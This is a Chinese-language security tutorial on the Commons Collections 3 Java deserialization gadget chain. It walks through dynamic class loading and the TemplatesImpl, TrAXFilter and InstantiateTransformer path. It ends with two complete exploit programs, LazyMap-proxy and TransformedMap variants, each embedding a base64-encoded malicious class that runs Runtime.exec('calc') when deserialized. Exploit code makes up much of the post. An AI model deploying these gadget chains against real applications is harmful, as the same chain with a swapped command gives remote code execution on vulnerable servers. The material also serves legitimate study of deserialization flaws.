java_cc链3
cc3链和cc1想法还是很相似的,然后构造恶意类和调用使用了不同的两个新类,这里感觉cc3链有一些像cc1链的变种,就像是给你一些绕过的操作,有点像cc1和cc2的结合体,但是去掉了cc2的一些东西(因为cc的版本不一致)。
环境
- apache commons collection-3.0
- < jdk8u71
调用栈
1 2 3 4 5 6 7 8 9 10
| ->AnnotationInvocationHandler.readObject() ->mapProxy.entrySet().iterator() //动态代理类 ->AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InstantiateTransformer.transform() ->TrAXFilter.TrAXFilter() ->TemplatesImpl.newTransformer() ->…………
|
前置知识
动态类加载
先创建一个测试类
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class test { static { System.out.println(1); } public test(){ System.out.println(2); } public void aaa(){ System.out.println(3); } }
|
里面只有一个静态代码块,然后使用两种方法的动态类加载来使用他。
1 2 3 4 5 6 7 8 9 10
| package main.java.cc3;
public class test2 { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException { String url = "main.java.cc3.test"; Class<?> className = Class.forName(url); test test1 = (test) className.newInstance(); test1.aaa(); } }
|
1 2 3 4 5 6 7 8 9 10 11
| package main.java.cc3;
public class test2 { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException { String url2 = "main.java.cc3.test"; ClassLoader loader = ClassLoader.getSystemClassLoader(); Class<?> clazz = loader.loadClass(url2); test test2 = (test) clazz.newInstance(); test2.aaa(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| 疑惑1:第二种方法,loadClass已经触发类,为什么没有输出1,而是等到newInstance的时候两个一起输出,这个和第一种有什么区别吗。
这里我们就要讲一下他们的区别了。
Class.forName() 除了会加载类外,还会初始化该类(执行静态代码块等)
ClassLoader.loadClass() 仅执行加载操作,不会初始化类
疑惑2:第二种方法中newInstance后,为什么一次性会输出两个
newInstance是通过调用类的默认公有构造方法来实例化对象,所以他是调用了构造方法,同时也进行了初始化的操作,所以他是会触发构造方法和静态方法块的。
注:如果没有loadClass他是不会触发静态方法块的
|
getDeclaredConstructor与getConstructor的区别
getDeclaredConstructor
方法:
- 可以获取指定类中声明的所有构造方法,包括公共的、受保护的、默认的和私有的构造方法。
- 不考虑构造方法的访问修饰符,因此可以获取到所有类型的构造方法。
- 如果指定的构造方法不存在或不可访问(例如私有构造方法),则会抛出
NoSuchMethodException
异常。
getConstructor
方法:
- 只能获取指定类中的公共(public)构造方法。
- 只能获取到公共的构造方法,无法获取到受保护的、默认的和私有的构造方法。
- 如果指定的公共构造方法不存在或不可访问,则会抛出
NoSuchMethodException
异常。
链子分析
这里我们是使用ClassLoader来加载类,使用方法上面介绍了,这里我先讲解另一个知识点
当 ClassLoader 加载一个类时,如果这个类之前没有被加载过,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象
所以也就是说,当调用 loadClass() 方法时,如果该类之前没有被加载,那么底层会调用 defineClass() 方法。
这里找到这个defineClass方法,然后右键查看用法
1 2 3 4 5
| protected final Class<?> defineClass(byte[] b, int off, int len) throws ClassFormatError { return defineClass(null, b, off, len, null); }
|
这里我们找Templateslmp类下面的definClass,F4就可以到这个方法的源码地址,然后我们继续右键查看用法
这个方法调用了他,我们跟进去看看,这里是干了什么。
这里他是解析字节码数据,然后赋值一个class对象,然后在看看defineTransletClasses发现是一个私有,在继续查看方法
这里发现getTransletlndex方法是共有的,但是下面这个私有的会有更多利用
但是这里我们发现这个方法不仅触发了defineTransletClasses,而且还是使用newInstance方法,要知道我们使用的是ClassLoader类,所以就是使用loadClass方法,所以是需要newInstance帮我实例化对象,才能触发静态代码块,继续使用查看方法。
我们发现虽然这个只有一个方法,但是说他是public,甚至说他接口了Serializable,正好对上了是吧
这里我们继续看到 newTransformer方法,这里看到他是触发了一个构造方法,里面就会触发getTransletInstance方法,而且这里看到默认值都是null,这里看到getTransletInstance方法
这里我们看到,我们不能让_name为null,必须让_class为null,因为我们要触发defineTransletClasses方法,继续跟进
可以看到,_bytecodes的值也不能为null
这里我们看到defineTransletClasses方法,他这里就是让我们传入一个byte字节码数据,然后他这里是返回一个class对象,然后defineTransletClasses方法走,就会在getTransletInstance方法中,触发newInstance方法,就可以实例化class对象,然后就可以触发对象中的静态代码块。
继续跟进看看_bytecodes和defineClass方法
_bytecodes是一个二维数组,传进defineClass的是一个一维数组的byte数组
尝试编写exp
我们可以先写一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package main.java.cc3;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.crypto.dsig.Transform; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class test2 { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException { Transformer[] transformers = new Transformer[]{
}; Transformer chainedTransformer = new ChainedTransformer(transformers); Map useless = new HashMap(); useless.put("value","ycxlo"); Map lazymap = TransformedMap.decorate(useless,null,chainedTransformer); Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = a.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,lazymap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(invocationHandler); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); Object ob = (Object) ois.readObject(); } }
|
由cc2链的知识,当我们调用AnnotationInvocationHandler的readObject方法时,会调用setValue方法,进而触发TransformMap的set方法,最后调用chainedTransform的transform方法
根据调用栈,我们去看看ConstantTransformer的transform方法
返回一个Object类,并且这个类是我们可控的
那么我们可以将这个属性赋值为TrAXFilter,继续调用InstantiateTransformer的transform方法,我们看看
实例化我们传入的类,这个input就是我们传入的TrAXFilter类,再对TrAXFilter进行实例化,并将iArgs作为参数传入,这个iArgs我们是可以控制的
看看TrAXFilter的构造方法
调用templates.newTransformer(),那我们可以将iArgs赋值为TransformerImpl类,调用TransformerImpl类的newTransformer()方法
后面的就和cc2链是一样的思路了
接壤cc1链
LazyMap(动态代理)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| package main.java.cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.security.utils.Base64; import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class cc3_LazyMap { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException, TransformerConfigurationException, Base64DecodingException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); try{ byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(handler1); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close();
} catch (Exception e) { e.printStackTrace(); }
}
public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package main.java.cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.security.utils.Base64; import org.apache.commons.collections.functors.InstantiateTransformer;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class cc3_TransfromedMap { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException, TransformerConfigurationException, Base64DecodingException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); try { byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}), }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map useless = new HashMap(); useless.put("value", "ycxlo"); Map transformedmap = TransformedMap.decorate(useless, null, chainedTransformer); Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = a.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transformedmap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(invocationHandler); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); Object ob = (Object) ois.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } }
|